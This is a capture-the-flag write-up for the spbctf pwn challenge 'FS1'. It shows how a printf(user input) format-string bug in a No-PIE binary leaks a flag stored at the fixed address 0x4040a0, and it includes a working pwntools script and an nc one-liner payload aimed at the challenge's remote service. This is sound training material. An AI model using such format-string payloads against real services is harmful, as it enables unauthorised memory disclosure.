FS1
FS1
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: format_string_leak, no_pie_fixed_global_leak, positional_format_arguments
Summary
Task: No-PIE x86-64 binary reads the flag file into a fixed-address global buffer, then passes attacker input straight to printf (classic format string). Solution: use a positional %N$s format specifier to dereference the known static address 0x4040a0 of the secret buffer and leak the flag.
FS1 — spbctf
Description
Я спрятал секрет, но у тебя есть шанс найти его самостоятельно.
English: "I hid a secret, but you have a chance to find it yourself." A No-PIE
x86-64 ELF is provided along with a remote service (nc 109.233.56.90 11657).
The challenge name FS1 stands for Format String 1.
Analysis
Disassembly of main reveals a straightforward format string bug:
fopen("flag", "r")
fread(0x4040a0 <secret>, 0x80, 1, fp) ; flag contents -> global buffer
fclose(fp)
read(0, rsp, 0x200) ; attacker input onto the stack
printf(rsp) ; <-- format string vulnerability
Key facts:
- No PIE — the global
secretbuffer sits at the fixed address0x4040a0, known at build time and identical every run. - The flag is read into
secretbefore our input is taken, so it is already in memory whenprintfruns. printf(rsp)passes our raw input as the format string, giving us arbitrary read primitives via%s/%p.
Confirm protections:
bash read-only • copy allowedchecksec --file=fs1.elf # No PIE, so global addresses are static. rabin2 -s fs1.elf | grep secret # secret @ 0x4040a0
To locate where our controlled buffer starts among printf's positional
arguments, send a marker plus a chain of %N$p:
AAAAAAAA%1$p.%2$p.%3$p...%14$p
The value 0x4141414141414141 ("AAAAAAAA") appears at position 6, meaning
our stack buffer begins at argument index 6.
Solution
Place the 8-byte target address at argument position 7 and dereference it with
%7$s. The first 8 bytes of the payload ("%7$saaaa") fill arg6; the packed
address 0x4040a0 lands in arg7, which %7$s reads as a C string — the flag.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import struct SECRET = 0x4040a0 # address of global `secret` buffer (No PIE, fixed) # "%7$saaaa" -> 8 bytes fill arg6; padding keeps address 8-byte aligned at arg7 payload = b"%7$saaaa" + struct.pack("<Q", SECRET) io = remote("109.233.56.90", 11657) io.send(payload) print(io.recvall(timeout=3).decode(errors="replace")) io.close()
Equivalent one-liner:
bash read-only • copy allowedpython3 -c 'import struct,sys; sys.stdout.buffer.write(b"%7$saaaa"+struct.pack("<Q",0x4040a0))' | nc 109.233.56.90 11657